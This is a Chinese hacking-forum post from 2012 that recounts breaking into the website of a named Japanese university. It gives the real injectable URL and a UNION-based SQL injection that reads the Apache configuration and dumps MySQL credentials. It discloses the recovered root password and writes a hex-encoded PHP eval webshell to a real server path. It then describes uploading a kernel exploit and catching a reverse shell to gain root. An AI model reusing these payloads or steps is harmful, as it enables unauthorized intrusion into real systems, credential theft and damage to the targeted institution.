找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2253|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
! r* N& m: Y, c2 \; o! v6 N! Y: `1 v7 |9 @3 p$ B5 S
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
6 ?. M! ?4 l( k! n% U然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
' l+ W% [# l  Q  V5 X4 A" N
: L# L( G4 j# k) _http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
' [6 F2 W5 W) p* i/ u8 N: Y2 Z$ Q) o5 o7 k$ `% E+ e2 |3 ?

6 O4 z: J. Y" L/ {2 `0 B0 u1 ]% I- x' t$ ^( b' U3 o& ]1 `5 e
//@@datadir为数据库文件路径
3 A1 [: j# M! u, p. ^2 Y
( i; D, R% a. j1 n$ ^- {% V- x+ F0 |8 j
//load_file读取网站容器apache的配置文件 % T, h/ U; H1 L) _* S4 k5 Q

, K" |* F: i) B: M2 m5 }7 B
8 Z3 v2 h8 Y, K! I2 k  h//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 * Y: I( e5 Z" c/ D/ U8 {
复制代码
; j% o. D) X4 j6 [0 O5 p8 W  B& k' i' S" a" K( `  E. h
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
  d7 O  [/ i$ @# ^; R+ S( r. G( V3 h, ?8 r4 V
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
- G: H) e; x1 u4 A) B- A( n(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
7 x; T' S( G7 n* t$ `5 `0 N) {- }* P- T  Y% @. A5 U- z( S7 {+ x* S
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
: `! \! I  A; ?8 ~7 r如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
9 B: Y; _- f# i9 p) Z0 k' U1 ?
7 k* \- u' Y/ p: A既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/5 {4 g% T! q& x& |
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
7 y/ e* `& E1 N: V% H- h直接写一句话:
  i2 A" Z( h2 f  \. l  i
- p! D; N0 E1 Ehttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
/ w5 O8 q; z" Z4 @! u
3 e. I  j* ^/ _: o! y' i/ u  o2 m
0 E* {9 ]$ k, e, }. j& J
. l* h5 r% n. T& j! R//最后的#是为了闭合前面的语句
2 i) f4 m8 Z1 l2 L; _
* P/ \' @8 c& m+ }* I9 g4 C
. u5 p4 Z: _9 a4 ^" ~/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ) w# {" D6 `+ x

) O8 x0 O( C; d) \! R/ x  Z: T1 ]4 S7 A, F# a
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 8 [9 F' C! T1 Q4 |: D  ^0 b

( m7 A2 a" x7 y9 I& S& d$ q. @1 @& V& u: F" S2 X
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 0 x) Q2 j9 d3 y0 _( U6 u/ \

- l* H$ q, f5 {! d5 h1 V  w# [0 T& `( V! V
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ! D5 \/ @& H9 d' z- u. q, h( }
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
% J8 j3 [' i& _8 Z3 n* L复制代码6 R$ j  s) _' P6 a
" x5 y; [5 B, }* V) V8 }' e3 N" K
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有! `5 J9 J0 L# ?9 k- L
通过上述注入语句,我们就得到了一句话木马:1 d5 z( \/ P2 D6 \! X3 {1 h
( S4 e' u% f. D  J3 K. M
+ f$ P' u3 x) |" q% ~5 m, ]1 J

1 _. |8 C4 q, Y/ b0 K$ t! U 9 b( H$ D/ w( n* c, g0 B& A5 F4 W+ ?
: i5 V. U* |  z
http://www.doshisha.ac.jp/english/engnews_img/aa.php
! e2 t7 F. u2 y- c- A复制代码$ v4 Z. n3 m- b( C
) @. t0 @5 D, O4 @- Z6 @
用菜刀连接,密码是cmd,如图所示:' I3 ^4 L: W) o7 c4 B4 ^/ I
然后在命令提示行里看了一下,现在的权限是:
0 o7 z- F- b( w) U& {4 ^' Q* C( {. q: Z2 t; T
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。' k2 v1 r" K3 O- M; V
好在赋权给这个文件夹不需要root,直接执行赋权语句:) U9 M9 }, c  I

1 E! n& h& S' }  o) t( ^8 e * N$ v1 N. N! T8 s8 m; Q

: o# K) V# [0 q
) u& y. |5 v) }/ P- e
3 N- y) {. c1 A: `1 T. Ychmod +x /tmp/
+ w1 F+ p/ P" f" Q  N复制代码/ o! G4 ~0 A! t) o5 V

9 z, q. M7 o( K4 d& i在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行: g3 H9 _5 c% d
然后就查了一下内核版本:
$ y7 A( g, B* R; y* u0 X9 X7 B( s( G3 A6 _; n! o

+ I. q* A  w0 m6 h2 k& a# Z; u" A0 P# _7 v

+ X# o- L8 x- q- x. j7 a8 `% }
* _3 H( _8 X" ]- ]" n* o3 ^- O) {! Vuname-a " N* c& i" P' c9 l9 D/ T
/ ]+ l6 J/ x6 `, e5 g7 H+ g8 O1 n' `4 S8 \
* I$ v: ?- h( F7 d  q6 J. `
//其实lsb_release -a 1 }8 C9 e4 h; x" K7 c
复制代码
9 n5 N& K( G' H, o( q" {# J- p2 T" G$ n& Z/ w1 V' ~
如图所示:
/ i6 L& H- B9 n' O& U
- @  W; X6 l2 ~内核版本:linux mainz1 2.6.28-194.e15
# ]5 ?8 X" A" f0 V系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)& f5 i1 H4 _, s: S$ g8 j7 {
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹" L& k% }5 g$ Y& g: m

0 x* X3 f+ Q! N; {6 o0 q$ v; J然后给予执行权限
/ [) [4 A3 I1 I! ]7 r7 o) c一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样/ z" J4 D7 H( b+ k8 ~! z. i- ?
" j# H& d0 J6 D* b- a' s

. S: p0 {7 v/ {- l) D( p. b% k+ A; `7 ~- Z4 m- P+ Y/ D% W
: n+ t0 X% U6 Z, Y# T

8 l' f: o5 m5 T% X$ R7 F: bchmod +x /tmp/2.6.18-194
1 R9 f) w6 @5 ]1 z4 H/ Z复制代码 然后直接执行!~
- _# `( i3 \. a9 K( R+ {+ m, [& W+ s/ p! {. G
总结:9 m/ _) ]+ q& q% z
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
  C3 [% [- J/ j! C9 B0 m% W提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
5 ~2 l! q4 ^5 j! T5 G3 [& F4 r# `0 g1 a: ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表